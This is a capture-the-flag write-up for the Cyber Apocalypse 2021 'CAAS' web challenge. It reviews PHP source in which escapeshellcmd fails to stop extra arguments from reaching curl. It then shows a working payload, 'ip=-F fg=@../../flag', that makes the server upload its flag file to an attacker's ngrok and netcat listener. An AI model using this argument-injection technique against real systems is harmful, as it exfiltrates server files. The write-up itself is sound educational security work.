Cyber Apocalypse 2021: CAAS

Cyber Apocalypse 2021: CAAS

Complete write-up


7 min read


cURL As A Service or CAAS is a brand new Alien application, built so that humans can test the status of their websites. However, it seems that the Aliens have not quite got the hang of Human programming and the application is riddled with issues.

Complete write up for the CAAS challenge at Cyber Apocalypse 2021 CTF hosted by This article is a part of a CTF: Cyber Apocalypse 2021 series. You can fork all my writeups directly from the GitHub.

Learn more from additional readings found at the end of the article. I would be thankful if you mention me when using parts of this article in your work. Enjoy!

Basic Information

TypeCTF / Web
NameCyber Apocalypse 2021 / CAAS
AuthorAsentinn / OkabeRintaro

Target of Evaluation

We are given the IP and a port as a target of evaluation:


And web application source code dump.


Initial scan with nmap:

$ sudo nmap -A -p 32236 

Starting Nmap 7.91 ( ) at 2021-04-23 07:40 CEST
Nmap scan report for
Host is up (0.0050s latency).

32236/tcp open  http    nginx
|_http-title: Web Threat Blocked
|_http-trane-info: Problem with XML parsing of /evox/about
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: bridge
Running: Oracle Virtualbox
OS CPE: cpe:/o:oracle:virtualbox
OS details: Oracle Virtualbox
Network Distance: 2 hops

TRACEROUTE (using port 80/tcp)
1   0.22 ms XXX.XXX.XXX.XXX
2   0.28 ms

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 39.10 seconds

Port 32236 is an TCP open port serving a nginx web applications. So lets look it up.


Site presents itself as some service using presumably curl to query IP addresses. But providing it an IP address ends with the error message.


Let's look at the source code.


class Router 
    public $routes = [];

    public function new($method, $route, $controller)
        $r = [
            'method' => $method,
            'route'  => $route,

        if (is_callable($controller))
            $r['controller']    = $controller;
            $this->routes[]     = $r;
        else if (strpos($controller, '@'))
            $split      = explode('@', $controller);
            $class      = $split[0];
            $function   = $split[1];

            $r['controller'] = [
                'class'     => $class,
                'function'  => $function

            $this->routes[] = $r;
            throw new Exception('Invalid controller');

    public function match()
        foreach($this->routes as $route)
            if ($this->_match_route($route['route']))
                if ($route['method'] != $_SERVER['REQUEST_METHOD'])
                $params = $this->getRouteParameters($route['route']);

                if (is_array($route['controller']))
                    $controller = $route['controller'];
                    $class      = $controller['class'];
                    $function   = $controller['function'];

                    return (new $class)->$function($this,$params);
                return $route['controller']($this,$params);


    public function _match_route($route)
        $uri = explode('/', strtok($_SERVER['REQUEST_URI'], '?'));
        $route = explode('/', $route);

        if (count($uri) != count($route)) return false;

        foreach ($route as $key => $value)
            if ($uri[$key] != $value && $value != '{param}') return false;

        return true;

    public function getRouteParameters($route)
        $params = [];
        $uri = explode('/', strtok($_SERVER['REQUEST_URI'], '?'));
        $route = explode('/', $route);

        foreach ($route as $key => $value)
            if ($uri[$key] == $value) continue;
            if ($value == '{param}')
                if ($uri[$key] == '')
                $params[] = $uri[$key];

        return $params;

    public function abort($code)

    public function view($view, $data = [])
        include __DIR__."/views/${view}.php";

This looks like a regular PHP routing boilerplate code. The only interesting thing here is that it reveals /views/ folder.


class CurlController
    public function index($router)
        return $router->view('index');

    public function execute($router)
        $url = $_POST['ip'];

        if (isset($url)) {
            $command = new CommandModel($url);
            return json_encode([ 'message' => $command->exec() ]);

This one is utmost interesting as it show how the request parameter is parsed and used. Controller takes the ip POST data value, creates CommandModel from it (I'll look at this class later) and executes the command. The result is returned from the controller as a JSON.


class CommandModel
    public function __construct($url)
        $this->command = "curl -sL " . escapeshellcmd($url);

    public function exec()
        exec($this->command, $output);
        return $output;

Ok, we have a main point of interest. We can see that constructor builds the curl command from the input parameter (remember, that this is the value that is being passed in the POST). From the man curl:

-s, silent  or  quiet  mode.  Don't show progress meter or error messages.
-L, (HTTP) If the server reports that the requested page has moved to a different location (indicated with
              a  Location:  header  and a 3XX response code), this option will make curl redo the request on the new

Ok, so we have a red flag here - the value that is being passed in the request is used to build a shell command that is executed. Ok, but what about escapeshellcmd?

escapeshellcmd ( string $command ) : string

Let's start from the official PHP Manual escapeshellcmd page.

Escapes any characters in a string that might be used to trick a shell command into executing arbitrary commands. This function should be used to make sure that any data coming from user input is escaped before this data is passed to the exec() or system() functions, or to the backtick operator.

Following characters are preceded by a backslash: &#;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired.

Ok, so this function prevents from executing multiple commands by escaping ex. pipe and semicolon characters (commands like ls; rm -rf; won't work).

But what it doesn't do and what can be exploited (and will be in this box) is passing an arbitrary number of arguments. We can read about further down.

Warning: escapeshellcmd() should be used on the whole command string, and it still allows the attacker to pass arbitrary number of arguments. For escaping a single argument escapeshellarg() should be used instead.

Ok, so we have a vulnerability we're going to exploit.


Now, curl have one parameter, that existence is not that obvious for a command that almost always is used to make a request under given address.

$ man curl 

-F, --form <name=content>
       (HTTP SMTP IMAP) For HTTP protocol family, this lets curl emulate a filled-in form in which a user has
       pressed the submit button. This causes curl to POST data using  the  Content-Type  multipart/form-data
       according to RFC 2388.

       For SMTP and IMAP protocols, this is the mean to compose a multipart mail message to transmit.

       This  enables uploading of binary files etc. To force the 'content' part to be a file, prefix the file
       name with an @ sign. To just get the content part from a file, prefix the file name with the symbol <.
       The  difference between @ and < is then that @ makes a file get attached in the post as a file upload,
       while the < makes a text field and just get the contents for that text field from a file.

Yeah. We can force the application to send any file it has access to, via the response. Let's try it.

Setup listener

In this challenge we are not given the VPN, all boxes are exposed to the global network. So, we have to make a tunnel to our localhost.

I'm using ngrok in one terminal:

$ /opt/ngrok http 4444

ngrok by @inconshreveable                                                                              (Ctrl+C to quit)

Session Status                online                                                                                   
Account                       XXXXX (Plan: Free)                                                                    
Version                       2.3.39                                                                                   
Region                        United States (us)                                                                       
Web Interface                                                                           
Forwarding           -> http://localhost:4444                                    
Forwarding           -> http://localhost:4444                                   

Connections                   ttl     opn     rt1     rt5     p50     p90                                              
                              0       0       0.00    0.00    0.00    0.00

In the second I'm using netcat:

$ nc -lvnp 4444

listening on [any] 4444 ...

-l for listen, -v for verbose, -n for numeric IPs, and -p to specify port.

And to retrieve the flag (from downloadable we know that flag is located 2 levels above the working directory of the script):

curl -H "application/x-www-form-urlencoded" -d 'ip=-F fg=@../../flag' -v


Output from the netcat:

listening on [any] 4444 ...

connect to [] from (UNKNOWN) [] 58946
User-Agent: curl/7.64.0
Content-Length: 227
Accept: */*
Content-Type: multipart/form-data; boundary=------------------------a588a0571ed8077f
X-Forwarded-Proto: http
Accept-Encoding: gzip

Content-Disposition: form-data; name="fg"; filename="flag"
Content-Type: application/octet-stream




Additional readings

Cover photo by Ales Nesetril on Unsplash

Did you find this article valuable?

Support Kamil Gierach-Pacanek by becoming a sponsor. Any amount is appreciated!